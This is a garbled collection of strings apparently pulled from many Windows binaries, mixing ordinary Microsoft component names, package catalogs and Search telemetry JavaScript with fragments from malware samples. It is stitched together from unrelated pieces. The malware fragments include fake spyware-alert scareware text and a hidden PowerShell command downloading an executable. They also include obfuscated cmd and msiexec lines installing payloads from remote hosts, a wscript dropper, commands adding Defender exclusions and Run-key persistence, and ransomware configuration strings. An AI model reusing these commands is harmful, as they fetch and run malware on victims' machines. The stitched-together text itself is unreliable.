.?AU?$produce_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@@impl@winrt@@
Microsoft.Windows.SMB.MRXSMB20
Microsoft.Windows.TlgAggregateInternal
?oldState@QWindowStateChangeEvent@@QEBA?AV?$QFlags@W4WindowState@Qt@@@@XZ
SLGetWindowsInformationDWORD
SLIsWindowsGenuineLocal
MFIsWindowsStudioEffectAvailable
??1QWindowStateChangeEvent@@UEAA@XZ
??1QWindowSystemEventHandler@@UEAA@XZ
??1TabletEvent@QWindowSystemInterfacePrivate@@UEAA@XZ
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
Microsoft.Windows.Networking.BFE.Rundown
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Networking.BFE
%Microsoft Windows Production PCA 2011
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
S2f75f580-7570-dd52-134a-d059971c4492" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:l
\windows\current
C:\__w\1\s\dev\WindowsAppRuntime_DLL\COMExports.cpp
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\module.g.cpp
system32\cmd.exe/c
info","listwindowsfirewallG
Microsoft Windows
wsystem error: spyware intrusion detected!critical error: system in danger!windows has detected spywaresystem alert!
http://vnmxjcx.com/config.inicopy c:\windows\system32\shell32.dll c:\shell32.dll1copy c:\windows\system32\shell32.dll c:\shell32.dll2copy c:\windows\system32\shell32.dll c:\shell32.dll3del c:\shell32.dll1del c:\shell32.dll2del c:\shell32.dll3\idleserv.exe
fget /trial.php?rest=%u&ver=%u&a=00000129 http/1.0get /download.php?&advid=00000357&u=%u&p=%u http/1.0c:\winstall.exec:\windows\xpupdate.exec:\program files\bravesentry\bravesentry.exewindows has detected spyware infection!windows security center has detected spyware/adware infection!69.50.175.17869.50.175.181host: hyydhost: download.bravesentry.comyour computer is infected!your computer is in danger!click here to protect your computer from spyware!click here to install the latest protection tools!it is strongly recommended to use special antispyware tools to prevent data loss.your computer is infected!windows has detected spyware infection!it is recommended to use special antispyware tools to prevent data loss. windows will now download and install the most up-to-date antiare forclick here to protect your computer from spywsherieriff
windows\xpupdate.exenochangingwallpaper
software\microsoft\windows\currentversion\policies\activedesktop
software\microsoft\windows\currentversion\policies\explorer
windows xp amigo yo man friends hello go-gosoftware\microsoft\windows\currentversion\uninstall\system alert popup\\.\pipe\ipctestsoftware\microsoftwindowsxp2003hirtellouserror load hdelete
download.php?&advid=ForceActiveDesktopOnSOFTWARE\Microsoft\Internet Explorer\Desktop\GeneralWallpaperFileTimeWindows update loaderSOFTWARE\InstallProxyServer
6{ABCDECF0-4B15-11D1-ABED-709549C10000}{393921-e939391-3919139-3d3a738-11}EnableBalloonTipswindowsupdate.microsoft.comkaspersky.commcafee.comsymantec.com192.168.200.3Warning! Potential Spyware Operation!Your computer is making unauthorized copies of your system and
PSWindowStyleHidden
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVer
Model@Windows@@)
executeac:\windows\system32\prog.exe
C:\WINDOWS\system32\PixelShader.hlsl
// See: http://msdn.microsoft.com/en-us/library/windows/desktop/hh706313.aspx
Usage : sysret.exe <option> <argument>Windows Kernel Intel x64 Sysret Vulnerability (MS12-042)Exploited by ShahriyarHackTool:Win64/ATPMiniDump!lsa
C:\WINDOWS\SYSTEM32\H@tKeysH@@k.DLLHotKeysHookClassHotKeysHook System-Wide Message Hook DLLClientGetKeyProcRansom:MSIL/CovitseCryptor.MA!MTB
windowsdi
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Providers.WidgetManager.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetHost.g.h
C:\Windows\SystemApps\Microsoft
*t.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows::Media::Protection::Internal::SystemIdServer::GetData
\windows\currentversion\run\
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.26
Microsoft.Windows.Shell.WebExperienceHost.AppManager
Microsoft.Windows.Services.Experiences.ExperienceExtensions
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.28
isGetWindowSuccess
<\windows nt\currentversion\appcompatflags\layers" /vR
[Dnew-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
QSettings: Unknown data %d type in Windows registry
QWindowsPipeReader: CancelIoEx on handle %p failed.
QWindowsPipeReader::notified
QWindowsPipeReader::startAsyncRead
QWindowsPipeWriter: asynchronous write failed.
QWindowsPipeWriter::write failed.
QWindowsPipeWriter: CancelIoEx on handle %p failed.
\system32
\windows\currenth
s\system32\shell32.dll
\..\windows\system32\cmd.exe$/cvertices\substantiates.cmdregsvrc:>
twindowsI
1.emlc:\windows\system\%
Windows.Foundation.Metadata.ActivatableAttribute
Windows.Foundation.Metadata.ComposableAttribute
Windows.Foundation.Metadata.StaticAttribute
Windows.Foundation.Metadata.GCPressureAttribute
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
ngData[n];u&&(u.PreviewPanePendingInfo={previewPaneType:i,suggestionType:r})}static tryInstrumentRenderStopped(i,r){t.renderingStopped(r)&&(t.finalizeKeystrokeLog(i,2),t.logMemoryUsageInWSBClient(i,"RenderStopped"),n.TestHookUrlParameters&&n.safeFireEvent("RenderStopped"))}static logMemoryUsageInWSBClient(i,r){var u;if(SearchAppWrapper.CortanaApp.systemInfo){let f=SearchAppWrapper.CortanaApp.systemInfo;const s=typeof BingAtWork=="undefined"?"":(u=BingAtWork.context)===null||u===void 0?void 0:u.midgardVersion,e=t._instrumentationProvider.getWebView2Info(),o=f.totalCommitMB;let h="TotalCommitMB:"+o+",TotalWorkingSetMB:"+f.totalWorkingSetMB+",SnrVersion:"+n.config.snrVersion+",MsbVersion:"+s+",IsWebView2:"+(e.isWebView2?1:0)+",WebView2Version:"+e.webView2Version;n.Host.setSearchAppMemoryCommitMB(o);t._instrumentationProvider.logProfilerMarker(1,0,r,t.getRawImpressionGuid(i),h)}}static isLayoutLogged(n){return t._keystrokesInstrumentationData[n].MasterPageImpressionCreated}static finalizeKeystrokeLog(n,i=0){t._finalizeKeystrokeHandlers.forEach(n=>n(i==0));let r=t._keystrokesInstrumentationData[n];if(r&&t.logKeystrokeData(r,n),i!=1){let i=t._keystrokesPerfPingData[n];i&&(t.logPerfPingEvent(t.createKeystrokePerfPingEvent(n,i)),t._clientTelemetry&&t._clientTelemetry.logDataSourcePerformancesMeasure(i),t.fireKeystrokeTimelineUpdatedHandlers(i))}}static instrumentZiRendered(i,r,u){r&&t.logMemoryUsageInWSBClient(i,"ZiRendered");n!==undefined&&n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("RenderZeroInput");let f=u?u:null;t.safeInstrumentPerf(i,n=>{n.SearchHomeRenderEvent=t.getOffsettedNow()},"instrumentSearchHomeRender",f)}static instrumentRenderFinished(i,r,u,f,e){if(n.config.perfInstV2&&(t===null||t===void 0?void 0:t._currentRender)<0)n.LogWSBError("instrumentRenderFinished","sequenceNumber: "+i,new Error("Invalid current render for sequence number"),undefined,undefined,"WindowsTelemetry");else if(n.config.perfInstV2&&t._keystrokesPerfPingData[i]==undefined)n.LogWSBError("instrumentRenderFinished","sequenceNumber: "+i+" currentRender: "+t._currentRender,new Error("No keystrokesPerfPingData for sequence number"),undefined,undefined,"WindowsTelemetry");else if(e||t._keystrokesPerfPingData[i].FirstRenderTime||(t._keystrokesPerfPingData[i].FirstRenderTime=t.getOffsettedNow()),n.config.perfInstV2){if(t._keystrokesPerfPingData[i].RendersCompleted[t._currentRender]=t.getOffsettedNow(),(n.config.disableMRUFilesAndFoldersWildCards||n.config.enableMRUFilesAndFoldersTelemetry)&&(n.Host.getMRUFilesAndFoldersDefinedCount()>-1&&(t._keystrokesPerfPingData[i].MRUFilesAndFoldersDefinedCount=n.Host.getMRUFilesAndFoldersDefinedCount()),n.Host.getMRUFilesAndFoldersUndefinedCount()>-1&&(t._keystrokesPerfPingData[i].MRUFilesAndFoldersUndefinedCount=n.Host.getMRUFilesAndFoldersUndefinedCount())),n.isAnaheimDataEnabled(!0)||n.isAnaheimDataEnabled(!1)){if(n.AnaheimDataProvider&&n.AnaheimDataProvider.InstrumentStringNumber){let r=n.AnaheimDataProvider.InstrumentStringNumber;for(let n in r)t._keystrokesPerfPingData[i].AnaheimDataIndexCount[n]=r[n]}if(n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.InstrumentStringNumber){let r=n.AnaheimDataProviderV2.InstrumentStringNumber;for(let n in r)t._keystrokesPerfPingData[i].AnaheimDataIndexCount[n]=r[n]}if(n.AnaheimDataParser===null||n.AnaheimDataParser===void 0?void 0:n.AnaheimDataParser.getANANumberMap){let r=n.AnaheimDataParser.getANANumberMap();for(let n in r)t._keystrokesPerfPingData[i].AnaheimDataIndexCount[n]=r[n]}}t._currentRender++}t.safeInstrumentPerf(i,n=>{let e=t.getOffsettedNow(),o="S"+r.join(",");n.renderGroupFinished[o]?f||(n.renderGroupFinished[o].iconsFinished=e):(r.forEach(t=>n.RenderFinished[t]=e),n.renderGroupFinished[o]={iconsFinished:e,suggestionsFinished:e});t.tryInstrumentRenderStopped(i,n);t._clientTelemetry&&t._clientTelemetry.logGroupsRenderedMeasure(u)},"instrumentRenderFinished",r.join(","));let o=t._keystrokesPerfPingData[i];o&&t.fireKeystrokeTimelineUpdatedHandlers(o)}static instrumentSyntheticInstrumentedItem(i,r,u){let f=t._keystrokesInstrumentati
System32
)dc:\windows\
2Bexecutionpolicybypass-noprofile-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://www.makaronkonopny.pl/inc/7z.exe',$env:appdata\
WindowsFormsApp96.Forms.Form1.resources
WindowsCare.YanBotnetHelper.Utility$6cc69e93-1a70-48e9-8db8-9cddcdcf0238Y
      name="Microsoft.Windows.onecorebase.ReFsDedupSvc"
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
C:\buildmachine\Temp\srcN4M_4x\Windows\Out_2013\x86\Release\DLCL\DLCL.pdbDLCL.exe
76^windows.appExtensionHost
76^windows.appExtension
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
=c:\windows\system32\cmd.exe/cstart
Rc:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-c"c:\windows\system32\msiexec.exe/qn/ihttp://15.235.134.131:8000/sfile/
c:\windows\system32\
$a12093be-6fda-48c1-9b1d-01d449a707feSystem.Windows.Forms.FormTrojan:HTML/Phish.DPD!MTB
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Product-Data-Ge-26144-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|)
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
2-windowstyleminimized\
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
skManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UDetailsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
dc:\windows\{
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
-BWindows K
Microsoft.WindowsStore_8wekyb3d8bbwe!
windows.appExtension
WINDOWS11
windowstylehiddene
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
, "%windir%\system32":
60^windows.aboveLockScreen
60^windows.protocol
s@WindowsUdkN
C:\WINDOWS\system32\backgroundTaskHost.exe
      <Color Name="ToolWindowShelf">
Microsoft.Windows.Photos_8wekyb3d8bbwe
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
microsoft.windows.photos.crop
microsoft.windows.photos.videoedit
microsoft.windows.photos.picker
Microsoft.Windows.Photos_8wekyb3d8bbwe
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.DevHome_8wekyb3d8bbwe
\Windows Security System\
windows system driver started!rtlqueryregistryvalues
windows, a
windows
Rvertogt\Microsoft\Windows\Ejam\Uninstall\elastanceR
}k^	9C:\Windows\IME\Hook.exeC
SC:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\resource.g
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionOffTheme
Windows.Data.Shell.FocusSessionActiveTheme
Microsoft.Windows.AppModelRuntimeWinRT
Microsoft.Windows.Shell.MRTTransformer
  "packageFamilyName" : "Microsoft.OutlookForWindows_8wekyb3d8bbwe",
  "packageFamilyName" : "Microsoft.OutlookForWindows_8wekyb3d8bbwe",
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
?canReadLine@QWindowsPipeReader@@QEBA_NXZ
?canWrite@QWindowsPipeWriter@@QEAAXXZ
windir=C:\WINDOWS
NoteKindTextHtmlPngSvgNoteConfignotekinddrop_strategymasquerade_strategyDropStrategyEverywhereRootDirOnlyDisabledNoteMasqueradeStrategyZipRenameConfigstrategyextensionRenameStrategyDisabledOnlyUnknownExtensionAllLockConfigstrategyretry_delay_msretry_timesLockStrategyAllDisabledCredentialsWindowsCleartextWindowsHashWindowsHashKindRc4Aes128Aes256kindusernamedomainhash
Proxy-Authorization: Basic %sTlRMTVNTUAABAAAAAgIAAA==_Winlogon_TCP_Service!#ALFPER:Trojan:Win64/NewPass.A!dha
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.9
Microsoft.Windows.Search.Indexer.Aggregated.Medium
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
*\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeF
pastepload.comcmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RXpowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'Ransom:Win64/FileCoder.GP!AMTB
"start /MIN C:\Windo""ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"JABQAHIAbwBjAEbatch = "
securitycentermozilla/4.0 (compatible; msie 7.0; windows nt 5.1worm that relies on the Microsoft Windows Server Service RPC Handling
\firewall.cpl",Windows Firewall
VbsGetIssuesForWindowsPath
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-VBSCRIPT-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7705.cat
applets|applications|apps|aps|files|programmes|softare|softwares|sofware|sotfware|windos|windows|browsers|ie|microsoft|cancel|deactivates|delete|deleting|disable|disallow|exit|get|rid|prevent|removing|shut|down|off|stop|turnoff|deinstall|uninstalled|uninstalling|uninstalls|unistall|."
)"windows and tabs appear on Alt+Tab and Snap Assist_
)"many windows and tabs appear on Alt+Tab and Snap Assistd
)"how many windows and tabs appear on Alt+Tab and Snap Assist
)"multitasking settings|tabbing|alt tab|alt + tab|alt-tab|view tabs|view browser tabs|tabs in Edge|browser tabs|switch tabs|switch windows|show tabs in Edge|open windows|suggest windows|snapassist|.
AAA_CortanaSettingsPageGroupWindowsSearch_IndexerPerformance
)AAA_CortanaSettingsPageGroupWindowsSearch_IndexerPerformance
7AAA_CortanaSettingsPageGroupWindowsSearch_IndexerPerformance
QAAA_CortanaSettingsPageGroupWindowsSearch_IndexerPerformance
indexing settings|indexing options|windows indexer|indexer|search settings|Windows search|battery|:
CrossDeviceResumeAppMicrosoftWindows.Client.CBS_cw5n1h2txyewy!>
Windows.XGpuEjectDialog
clientcore\windows\core\ntgdi\fondrv\otfd\atmdrvr\utils.c
WldpQueryWindowsLockdownMode
WldpQueryWindowsLockdownRestriction
WldpSetWindowsLockdownRestriction
encriptaapistubdosc:\windows\s
GetWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
  <description>Windows Forms Common Control manifest</description> 
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /> 
Windows.Foundation.Metadata
\windows\currentversion\runc:\log01\explorernJ
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\notsvchost.exec
WINDOWS11
get_IsAppEarlierThanWindowsPhoneMango
DenyOnlyWindowsDeviceGroup
c:\h1anticipationsl.anticipations2suffixedpurposefully.js`.suffixedpurposefully.js&1..\..\..\..\anticipations\suffixedpurposefully.jsc:\windows\explorer.exe%systemroot%
wscript.createobject("wscript.shell")shell.run"cmd.exe/cpowershell.exe-whiddeniwr-outfc:\windows\tasks\test.comhttp://37.60.234.203/test.com&c:\windows\tasks\test.com"
7cmd.exexeroxscans}/q/d/v/r^s^tar^tm^s^i^e^xe^c/fv"http://q0.wf:8080/y/jbuj6/t/dfrj/schzokv5hcee/!computername!"^y^a^f^qm^k^r=r^g^nca^b-^q%windir%\system32\shell32.dll%
Ac:\windows\system32\cmd.exes/v/r^st^artmsi^ex^ec-pa^ck^ag^e"http://gz.qa:8080/bobpystj62enq/ixqsrh/nvij75j/p/!computername!"q^k=^mzk^z-^qn%windir%\system32\shell32.dll
c:\windows\system32\cmd.exe/v/q/cstartmsiexecubjmm=aeuvahc-fv"http://3z.nu:8080/bxylfb29ouvlbu8ie1bdcvquzxa1p6zoa0ikb/khd/!computername!"hmkvlzv=wokg/qwgpbqyrho=boiivd
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstyl
